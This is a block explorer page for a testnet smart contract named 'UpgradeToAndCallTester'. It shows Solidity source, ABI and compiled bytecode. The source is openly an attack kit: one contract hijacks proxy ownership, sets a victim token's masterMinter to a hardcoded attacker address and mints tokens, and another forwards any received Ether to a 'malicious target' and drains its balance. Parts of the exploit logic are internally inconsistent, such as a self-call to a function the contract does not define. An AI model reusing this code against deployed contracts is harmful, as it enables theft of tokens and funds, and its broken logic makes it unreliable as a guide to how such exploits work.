Holesky Testnet

Contract

0xA00969D6596b3c54b65Fa8Af702C44e2601FD0Ef

Overview

ETH Balance

0 ETH

Multichain Info

N/A
Transaction Hash
Method
Block
From
To

There are no matching entries

Please try again later

Advanced mode:
Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
UpgradeToAndCallTester

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-11-29
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

// Proxy contract for upgradeability
contract UpgradeableProxy {
    address public implementation;
    address public owner;

    event Upgraded(address indexed newImplementation);
    event CallResult(bool success, bytes result);

    constructor(address _implementation) {
        implementation = _implementation;
        owner = msg.sender;
    }

    fallback() external payable {
        (bool success, bytes memory result) = implementation.delegatecall(msg.data);
        require(success, "Delegatecall failed");
        emit CallResult(success, result);
    }

    receive() external payable {
        if (msg.value > 0 && msg.sender != owner) {
            require(address(this).balance >= msg.value, "Insufficient balance");
            upgradeTo(implementation); // Upgrade using current implementation as the placeholder
        }
    }

    function upgradeTo(address _implementation) public {
        require(msg.sender == owner, "Not authorized");
        implementation = _implementation;
        emit Upgraded(_implementation);
    }
}

// Malicious implementation contract
contract MaliciousImplementation {
    address public proxyOwner;
    address public maliciousTarget;

    constructor(address _proxyOwner, address _maliciousTarget) {
        proxyOwner = _proxyOwner;
        maliciousTarget = _maliciousTarget;
    }

    // Hijack ownership of the proxy contract
    function takeOwnership() external {
        require(msg.sender == maliciousTarget, "Not authorized");
        proxyOwner = maliciousTarget;
    }

    // Function to set the masterMinter to the attacker's address (dynamically set)
    function setMasterMinter() external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Dynamically set the masterMinter to the attacker's address (hardcoded here)
        address attackerAddress = 0x471aABd39E9aFa5F4798FC04be77C1cF587FB940;
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("updateMasterMinter(address)", attackerAddress)
        );
        require(success, "setMasterMinter failed");
    }

    // Function to configure the attacker as a minter
    function configureMinter(address _minter, uint256 _allowedAmount) external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Call the victim contract's configureMinter function
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("configureMinter(address,uint256)", _minter, _allowedAmount)
        );
        require(success, "configureMinter failed");
    }

    // Mint tokens to the attacker's address
    function mint(address _to, uint256 _amount) external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Call the victim contract's mint function
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("mint(address,uint256)", _to, _amount)
        );
        require(success, "Mint failed");
    }

    fallback() external payable {}

    receive() external payable {
        if (msg.value > 0 && msg.sender != proxyOwner) {
            address payable target = payable(maliciousTarget);
            uint256 balance = address(this).balance;
            if (balance > 0) {
                target.transfer(balance); // Drain all funds to the malicious target
            }
        }
    }
}

// Exploit contract to interact with the vulnerable upgradeToAndCall functionality
contract UpgradeToAndCallTester {
    address public owner;
    address public maliciousTarget;

    event FallbackCalled(address indexed caller, bytes data);
    event CallResult(bool success, bytes result);

    constructor(address _maliciousTarget) {
        owner = msg.sender;
        maliciousTarget = _maliciousTarget;
    }

    function destroy() external {
        require(msg.sender == owner, "Not authorized");
        selfdestruct(payable(msg.sender));
    }

    fallback() external payable {
        emit FallbackCalled(msg.sender, msg.data);
    }

    receive() external payable {
        if (msg.value > 0 && msg.sender != owner) {
            drainFunds(payable(maliciousTarget)); // Transfer Ether to malicious target
        }
    }

    function complexOperation(uint256 recursiveDepth) external payable {
        require(msg.sender == owner, "Not authorized");
        require(recursiveDepth > 0, "Depth must be greater than zero");

        upgradeProxyToMalicious();
        drainFunds(payable(maliciousTarget));
        recursiveExploit(recursiveDepth);
    }

    function upgradeProxyToMalicious() internal {
        (bool success, ) = address(this).call(
            abi.encodeWithSignature("upgradeTo(address)", address(this))
        );
        require(success, "Upgrade to malicious contract failed");
        emit CallResult(success, "");
    }

    function drainFunds(address payable _to) internal {
        uint256 balance = address(this).balance;
        require(balance > 0, "No funds to drain");
        (bool success, ) = _to.call{value: balance}("");
        require(success, "Fund transfer failed");
        emit CallResult(success, "");
    }

    function recursiveExploit(uint256 depth) internal {
        if (depth == 0) return;
        (bool success, ) = address(this).delegatecall(
            abi.encodeWithSignature("recursiveExploit(uint256)", depth - 1)
        );
        require(success, "Recursive call failed");
    }
}

Contract ABI

[{"inputs":[{"internalType":"address","name":"_maliciousTarget","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"success","type":"bool"},{"indexed":false,"internalType":"bytes","name":"result","type":"bytes"}],"name":"CallResult","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"caller","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"FallbackCalled","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"recursiveDepth","type":"uint256"}],"name":"complexOperation","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"destroy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maliciousTarget","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561000f575f5ffd5b50604051610e7b380380610e7b83398181016040528101906100319190610114565b335f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061013f565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100e3826100ba565b9050919050565b6100f3816100d9565b81146100fd575f5ffd5b50565b5f8151905061010e816100ea565b92915050565b5f60208284031215610129576101286100b6565b5b5f61013684828501610100565b91505092915050565b610d2f8061014c5f395ff3fe608060405260043610610042575f3560e01c80634f17ba7a1461012657806383197ef0146101505780638da5cb5b14610166578063b1bf1e0314610190576100d4565b366100d4575f341180156100a257505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156100d2576100d160015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101ac565b5b005b3373ffffffffffffffffffffffffffffffffffffffff167f8ba712f8985270f97f6103d3de3e9840253fddbcb8f7e2014c1e6ea7bee2a2a35f3660405161011c9291906107ea565b60405180910390a2005b348015610131575f5ffd5b5061013a6102d6565b604051610147919061084b565b60405180910390f35b34801561015b575f5ffd5b506101646102fb565b005b348015610171575f5ffd5b5061017a6103a2565b604051610187919061084b565b60405180910390f35b6101aa60048036038101906101a5919061089b565b6103c6565b005b5f4790505f81116101f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e990610920565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff16826040516102179061096b565b5f6040518083038185875af1925050503d805f8114610251576040519150601f19603f3d011682016040523d82523d5f602084013e610256565b606091505b505090508061029a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610291906109c9565b60405180910390fd5b7f582326e533af48b16567b0565a82550442e225cf8491cb9ae2a29e1f96935e7c816040516102c99190610a21565b60405180910390a1505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038090610a97565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044b90610a97565b60405180910390fd5b5f8111610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90610aff565b60405180910390fd5b61049e6104d4565b6104c860015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101ac565b6104d181610643565b50565b5f3073ffffffffffffffffffffffffffffffffffffffff16306040516024016104fd919061084b565b6040516020818303038152906040527f3659cfe6000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516105879190610b65565b5f604051808303815f865af19150503d805f81146105c0576040519150601f19603f3d011682016040523d82523d5f602084013e6105c5565b606091505b5050905080610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090610beb565b60405180910390fd5b7f582326e533af48b16567b0565a82550442e225cf8491cb9ae2a29e1f96935e7c816040516106389190610a21565b60405180910390a150565b5f81031561078d575f3073ffffffffffffffffffffffffffffffffffffffff166001836106709190610c36565b6040516024016106809190610c78565b6040516020818303038152906040527ff4c0b228000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161070a9190610b65565b5f60405180830381855af49150503d805f8114610742576040519150601f19603f3d011682016040523d82523d5f602084013e610747565b606091505b505090508061078b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078290610cdb565b60405180910390fd5b505b50565b5f82825260208201905092915050565b828183375f83830152505050565b5f601f19601f8301169050919050565b5f6107c98385610790565b93506107d68385846107a0565b6107df836107ae565b840190509392505050565b5f6020820190508181035f8301526108038184866107be565b90509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6108358261080c565b9050919050565b6108458161082b565b82525050565b5f60208201905061085e5f83018461083c565b92915050565b5f5ffd5b5f819050919050565b61087a81610868565b8114610884575f5ffd5b50565b5f8135905061089581610871565b92915050565b5f602082840312156108b0576108af610864565b5b5f6108bd84828501610887565b91505092915050565b5f82825260208201905092915050565b7f4e6f2066756e647320746f20647261696e0000000000000000000000000000005f82015250565b5f61090a6011836108c6565b9150610915826108d6565b602082019050919050565b5f6020820190508181035f830152610937816108fe565b9050919050565b5f81905092915050565b50565b5f6109565f8361093e565b915061096182610948565b5f82019050919050565b5f6109758261094b565b9150819050919050565b7f46756e64207472616e73666572206661696c65640000000000000000000000005f82015250565b5f6109b36014836108c6565b91506109be8261097f565b602082019050919050565b5f6020820190508181035f8301526109e0816109a7565b9050919050565b5f8115159050919050565b6109fb816109e7565b82525050565b5f610a0c5f83610790565b9150610a1782610948565b5f82019050919050565b5f604082019050610a345f8301846109f2565b8181036020830152610a4581610a01565b905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f610a81600e836108c6565b9150610a8c82610a4d565b602082019050919050565b5f6020820190508181035f830152610aae81610a75565b9050919050565b7f4465707468206d7573742062652067726561746572207468616e207a65726f005f82015250565b5f610ae9601f836108c6565b9150610af482610ab5565b602082019050919050565b5f6020820190508181035f830152610b1681610add565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f610b3f82610b1d565b610b49818561093e565b9350610b59818560208601610b27565b80840191505092915050565b5f610b708284610b35565b915081905092915050565b7f5570677261646520746f206d616c6963696f757320636f6e74726163742066615f8201527f696c656400000000000000000000000000000000000000000000000000000000602082015250565b5f610bd56024836108c6565b9150610be082610b7b565b604082019050919050565b5f6020820190508181035f830152610c0281610bc9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610c4082610868565b9150610c4b83610868565b9250828203905081811115610c6357610c62610c09565b5b92915050565b610c7281610868565b82525050565b5f602082019050610c8b5f830184610c69565b92915050565b7f5265637572736976652063616c6c206661696c656400000000000000000000005f82015250565b5f610cc56015836108c6565b9150610cd082610c91565b602082019050919050565b5f6020820190508181035f830152610cf281610cb9565b905091905056fea2646970667358221220b138d52cc3be04ef7ecb2d87e10146afb8ffcbb8d1d995672a1b59efdb6b336c64736f6c634300081c0033000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5

Deployed Bytecode

0x608060405260043610610042575f3560e01c80634f17ba7a1461012657806383197ef0146101505780638da5cb5b14610166578063b1bf1e0314610190576100d4565b366100d4575f341180156100a257505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156100d2576100d160015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101ac565b5b005b3373ffffffffffffffffffffffffffffffffffffffff167f8ba712f8985270f97f6103d3de3e9840253fddbcb8f7e2014c1e6ea7bee2a2a35f3660405161011c9291906107ea565b60405180910390a2005b348015610131575f5ffd5b5061013a6102d6565b604051610147919061084b565b60405180910390f35b34801561015b575f5ffd5b506101646102fb565b005b348015610171575f5ffd5b5061017a6103a2565b604051610187919061084b565b60405180910390f35b6101aa60048036038101906101a5919061089b565b6103c6565b005b5f4790505f81116101f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e990610920565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff16826040516102179061096b565b5f6040518083038185875af1925050503d805f8114610251576040519150601f19603f3d011682016040523d82523d5f602084013e610256565b606091505b505090508061029a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610291906109c9565b60405180910390fd5b7f582326e533af48b16567b0565a82550442e225cf8491cb9ae2a29e1f96935e7c816040516102c99190610a21565b60405180910390a1505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038090610a97565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044b90610a97565b60405180910390fd5b5f8111610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90610aff565b60405180910390fd5b61049e6104d4565b6104c860015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101ac565b6104d181610643565b50565b5f3073ffffffffffffffffffffffffffffffffffffffff16306040516024016104fd919061084b565b6040516020818303038152906040527f3659cfe6000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516105879190610b65565b5f604051808303815f865af19150503d805f81146105c0576040519150601f19603f3d011682016040523d82523d5f602084013e6105c5565b606091505b5050905080610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090610beb565b60405180910390fd5b7f582326e533af48b16567b0565a82550442e225cf8491cb9ae2a29e1f96935e7c816040516106389190610a21565b60405180910390a150565b5f81031561078d575f3073ffffffffffffffffffffffffffffffffffffffff166001836106709190610c36565b6040516024016106809190610c78565b6040516020818303038152906040527ff4c0b228000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161070a9190610b65565b5f60405180830381855af49150503d805f8114610742576040519150601f19603f3d011682016040523d82523d5f602084013e610747565b606091505b505090508061078b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078290610cdb565b60405180910390fd5b505b50565b5f82825260208201905092915050565b828183375f83830152505050565b5f601f19601f8301169050919050565b5f6107c98385610790565b93506107d68385846107a0565b6107df836107ae565b840190509392505050565b5f6020820190508181035f8301526108038184866107be565b90509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6108358261080c565b9050919050565b6108458161082b565b82525050565b5f60208201905061085e5f83018461083c565b92915050565b5f5ffd5b5f819050919050565b61087a81610868565b8114610884575f5ffd5b50565b5f8135905061089581610871565b92915050565b5f602082840312156108b0576108af610864565b5b5f6108bd84828501610887565b91505092915050565b5f82825260208201905092915050565b7f4e6f2066756e647320746f20647261696e0000000000000000000000000000005f82015250565b5f61090a6011836108c6565b9150610915826108d6565b602082019050919050565b5f6020820190508181035f830152610937816108fe565b9050919050565b5f81905092915050565b50565b5f6109565f8361093e565b915061096182610948565b5f82019050919050565b5f6109758261094b565b9150819050919050565b7f46756e64207472616e73666572206661696c65640000000000000000000000005f82015250565b5f6109b36014836108c6565b91506109be8261097f565b602082019050919050565b5f6020820190508181035f8301526109e0816109a7565b9050919050565b5f8115159050919050565b6109fb816109e7565b82525050565b5f610a0c5f83610790565b9150610a1782610948565b5f82019050919050565b5f604082019050610a345f8301846109f2565b8181036020830152610a4581610a01565b905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f610a81600e836108c6565b9150610a8c82610a4d565b602082019050919050565b5f6020820190508181035f830152610aae81610a75565b9050919050565b7f4465707468206d7573742062652067726561746572207468616e207a65726f005f82015250565b5f610ae9601f836108c6565b9150610af482610ab5565b602082019050919050565b5f6020820190508181035f830152610b1681610add565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f610b3f82610b1d565b610b49818561093e565b9350610b59818560208601610b27565b80840191505092915050565b5f610b708284610b35565b915081905092915050565b7f5570677261646520746f206d616c6963696f757320636f6e74726163742066615f8201527f696c656400000000000000000000000000000000000000000000000000000000602082015250565b5f610bd56024836108c6565b9150610be082610b7b565b604082019050919050565b5f6020820190508181035f830152610c0281610bc9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610c4082610868565b9150610c4b83610868565b9250828203905081811115610c6357610c62610c09565b5b92915050565b610c7281610868565b82525050565b5f602082019050610c8b5f830184610c69565b92915050565b7f5265637572736976652063616c6c206661696c656400000000000000000000005f82015250565b5f610cc56015836108c6565b9150610cd082610c91565b602082019050919050565b5f6020820190508181035f830152610cf281610cb9565b905091905056fea2646970667358221220b138d52cc3be04ef7ecb2d87e10146afb8ffcbb8d1d995672a1b59efdb6b336c64736f6c634300081c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5

-----Decoded View---------------
Arg [0] : _maliciousTarget (address): 0xBc0C24E6f24eC2F1fd7E859B8322A1277F80aaD5

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5


Deployed Bytecode Sourcemap

3607:2034:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4251:1;4239:9;:13;:36;;;;;4270:5;;;;;;;;;;;4256:19;;:10;:19;;;;4239:36;4235:143;;;4292:36;4311:15;;;;;;;;;;;4292:10;:36::i;:::-;4235:143;3607:2034;;4160:10;4145:36;;;4172:8;;4145:36;;;;;;;:::i;:::-;;;;;;;;3607:2034;3673:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3956:137;;;;;;;;;;;;;:::i;:::-;;3646:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4393:333;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5034:308;5095:15;5113:21;5095:39;;5163:1;5153:7;:11;5145:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;5198:12;5216:3;:8;;5232:7;5216:28;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5197:47;;;5263:7;5255:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;5311:23;5322:7;5311:23;;;;;;:::i;:::-;;;;;;;;5084:258;;5034:308;:::o;3673:30::-;;;;;;;;;;;;;:::o;3956:137::-;4017:5;;;;;;;;;;;4003:19;;:10;:19;;;3995:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4073:10;4052:33;;;3646:20;;;;;;;;;;;;;:::o;4393:333::-;4493:5;;;;;;;;;;;4479:19;;:10;:19;;;4471:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4553:1;4536:14;:18;4528:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;4603:25;:23;:25::i;:::-;4639:36;4658:15;;;;;;;;;;;4639:10;:36::i;:::-;4686:32;4703:14;4686:16;:32::i;:::-;4393:333;:::o;4734:292::-;4790:12;4816:4;4808:18;;4895:4;4841:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4808:104;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4789:123;;;4931:7;4923:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;4995:23;5006:7;4995:23;;;;;;:::i;:::-;;;;;;;;4778:248;4734:292::o;5350:288::-;5424:1;5415:5;:10;5411:23;5427:7;5411:23;5445:12;5471:4;5463:26;;5565:1;5557:5;:9;;;;:::i;:::-;5504:63;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5463:115;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5444:134;;;5597:7;5589:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;5400:238;5350:288;;:::o;7:168:1:-;90:11;124:6;119:3;112:19;164:4;159:3;155:14;140:29;;7:168;;;;:::o;181:148::-;279:6;274:3;269;256:30;320:1;311:6;306:3;302:16;295:27;181:148;;;:::o;335:102::-;376:6;427:2;423:7;418:2;411:5;407:14;403:28;393:38;;335:102;;;:::o;465:314::-;561:3;582:70;645:6;640:3;582:70;:::i;:::-;575:77;;662:56;711:6;706:3;699:5;662:56;:::i;:::-;743:29;765:6;743:29;:::i;:::-;738:3;734:39;727:46;;465:314;;;;;:::o;785:329::-;906:4;944:2;933:9;929:18;921:26;;993:9;987:4;983:20;979:1;968:9;964:17;957:47;1021:86;1102:4;1093:6;1085;1021:86;:::i;:::-;1013:94;;785:329;;;;;:::o;1120:126::-;1157:7;1197:42;1190:5;1186:54;1175:65;;1120:126;;;:::o;1252:96::-;1289:7;1318:24;1336:5;1318:24;:::i;:::-;1307:35;;1252:96;;;:::o;1354:118::-;1441:24;1459:5;1441:24;:::i;:::-;1436:3;1429:37;1354:118;;:::o;1478:222::-;1571:4;1609:2;1598:9;1594:18;1586:26;;1622:71;1690:1;1679:9;1675:17;1666:6;1622:71;:::i;:::-;1478:222;;;;:::o;1787:117::-;1896:1;1893;1886:12;2033:77;2070:7;2099:5;2088:16;;2033:77;;;:::o;2116:122::-;2189:24;2207:5;2189:24;:::i;:::-;2182:5;2179:35;2169:63;;2228:1;2225;2218:12;2169:63;2116:122;:::o;2244:139::-;2290:5;2328:6;2315:20;2306:29;;2344:33;2371:5;2344:33;:::i;:::-;2244:139;;;;:::o;2389:329::-;2448:6;2497:2;2485:9;2476:7;2472:23;2468:32;2465:119;;;2503:79;;:::i;:::-;2465:119;2623:1;2648:53;2693:7;2684:6;2673:9;2669:22;2648:53;:::i;:::-;2638:63;;2594:117;2389:329;;;;:::o;2724:169::-;2808:11;2842:6;2837:3;2830:19;2882:4;2877:3;2873:14;2858:29;;2724:169;;;;:::o;2899:167::-;3039:19;3035:1;3027:6;3023:14;3016:43;2899:167;:::o;3072:366::-;3214:3;3235:67;3299:2;3294:3;3235:67;:::i;:::-;3228:74;;3311:93;3400:3;3311:93;:::i;:::-;3429:2;3424:3;3420:12;3413:19;;3072:366;;;:::o;3444:419::-;3610:4;3648:2;3637:9;3633:18;3625:26;;3697:9;3691:4;3687:20;3683:1;3672:9;3668:17;3661:47;3725:131;3851:4;3725:131;:::i;:::-;3717:139;;3444:419;;;:::o;3869:147::-;3970:11;4007:3;3992:18;;3869:147;;;;:::o;4022:114::-;;:::o;4142:398::-;4301:3;4322:83;4403:1;4398:3;4322:83;:::i;:::-;4315:90;;4414:93;4503:3;4414:93;:::i;:::-;4532:1;4527:3;4523:11;4516:18;;4142:398;;;:::o;4546:379::-;4730:3;4752:147;4895:3;4752:147;:::i;:::-;4745:154;;4916:3;4909:10;;4546:379;;;:::o;4931:170::-;5071:22;5067:1;5059:6;5055:14;5048:46;4931:170;:::o;5107:366::-;5249:3;5270:67;5334:2;5329:3;5270:67;:::i;:::-;5263:74;;5346:93;5435:3;5346:93;:::i;:::-;5464:2;5459:3;5455:12;5448:19;;5107:366;;;:::o;5479:419::-;5645:4;5683:2;5672:9;5668:18;5660:26;;5732:9;5726:4;5722:20;5718:1;5707:9;5703:17;5696:47;5760:131;5886:4;5760:131;:::i;:::-;5752:139;;5479:419;;;:::o;5904:90::-;5938:7;5981:5;5974:13;5967:21;5956:32;;5904:90;;;:::o;6000:109::-;6081:21;6096:5;6081:21;:::i;:::-;6076:3;6069:34;6000:109;;:::o;6115:362::-;6256:3;6277:65;6340:1;6335:3;6277:65;:::i;:::-;6270:72;;6351:93;6440:3;6351:93;:::i;:::-;6469:1;6464:3;6460:11;6453:18;;6115:362;;;:::o;6483:515::-;6670:4;6708:2;6697:9;6693:18;6685:26;;6721:65;6783:1;6772:9;6768:17;6759:6;6721:65;:::i;:::-;6833:9;6827:4;6823:20;6818:2;6807:9;6803:18;6796:48;6861:130;6986:4;6861:130;:::i;:::-;6853:138;;6483:515;;;;:::o;7004:164::-;7144:16;7140:1;7132:6;7128:14;7121:40;7004:164;:::o;7174:366::-;7316:3;7337:67;7401:2;7396:3;7337:67;:::i;:::-;7330:74;;7413:93;7502:3;7413:93;:::i;:::-;7531:2;7526:3;7522:12;7515:19;;7174:366;;;:::o;7546:419::-;7712:4;7750:2;7739:9;7735:18;7727:26;;7799:9;7793:4;7789:20;7785:1;7774:9;7770:17;7763:47;7827:131;7953:4;7827:131;:::i;:::-;7819:139;;7546:419;;;:::o;7971:181::-;8111:33;8107:1;8099:6;8095:14;8088:57;7971:181;:::o;8158:366::-;8300:3;8321:67;8385:2;8380:3;8321:67;:::i;:::-;8314:74;;8397:93;8486:3;8397:93;:::i;:::-;8515:2;8510:3;8506:12;8499:19;;8158:366;;;:::o;8530:419::-;8696:4;8734:2;8723:9;8719:18;8711:26;;8783:9;8777:4;8773:20;8769:1;8758:9;8754:17;8747:47;8811:131;8937:4;8811:131;:::i;:::-;8803:139;;8530:419;;;:::o;8955:98::-;9006:6;9040:5;9034:12;9024:22;;8955:98;;;:::o;9059:139::-;9148:6;9143:3;9138;9132:23;9189:1;9180:6;9175:3;9171:16;9164:27;9059:139;;;:::o;9204:386::-;9308:3;9336:38;9368:5;9336:38;:::i;:::-;9390:88;9471:6;9466:3;9390:88;:::i;:::-;9383:95;;9487:65;9545:6;9540:3;9533:4;9526:5;9522:16;9487:65;:::i;:::-;9577:6;9572:3;9568:16;9561:23;;9312:278;9204:386;;;;:::o;9596:271::-;9726:3;9748:93;9837:3;9828:6;9748:93;:::i;:::-;9741:100;;9858:3;9851:10;;9596:271;;;;:::o;9873:223::-;10013:34;10009:1;10001:6;9997:14;9990:58;10082:6;10077:2;10069:6;10065:15;10058:31;9873:223;:::o;10102:366::-;10244:3;10265:67;10329:2;10324:3;10265:67;:::i;:::-;10258:74;;10341:93;10430:3;10341:93;:::i;:::-;10459:2;10454:3;10450:12;10443:19;;10102:366;;;:::o;10474:419::-;10640:4;10678:2;10667:9;10663:18;10655:26;;10727:9;10721:4;10717:20;10713:1;10702:9;10698:17;10691:47;10755:131;10881:4;10755:131;:::i;:::-;10747:139;;10474:419;;;:::o;10899:180::-;10947:77;10944:1;10937:88;11044:4;11041:1;11034:15;11068:4;11065:1;11058:15;11085:194;11125:4;11145:20;11163:1;11145:20;:::i;:::-;11140:25;;11179:20;11197:1;11179:20;:::i;:::-;11174:25;;11223:1;11220;11216:9;11208:17;;11247:1;11241:4;11238:11;11235:37;;;11252:18;;:::i;:::-;11235:37;11085:194;;;;:::o;11285:118::-;11372:24;11390:5;11372:24;:::i;:::-;11367:3;11360:37;11285:118;;:::o;11409:222::-;11502:4;11540:2;11529:9;11525:18;11517:26;;11553:71;11621:1;11610:9;11606:17;11597:6;11553:71;:::i;:::-;11409:222;;;;:::o;11637:171::-;11777:23;11773:1;11765:6;11761:14;11754:47;11637:171;:::o;11814:366::-;11956:3;11977:67;12041:2;12036:3;11977:67;:::i;:::-;11970:74;;12053:93;12142:3;12053:93;:::i;:::-;12171:2;12166:3;12162:12;12155:19;;11814:366;;;:::o;12186:419::-;12352:4;12390:2;12379:9;12375:18;12367:26;;12439:9;12433:4;12429:20;12425:1;12414:9;12410:17;12403:47;12467:131;12593:4;12467:131;:::i;:::-;12459:139;;12186:419;;;:::o

Swarm Source

ipfs://b138d52cc3be04ef7ecb2d87e10146afb8ffcbb8d1d995672a1b59efdb6b336c

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.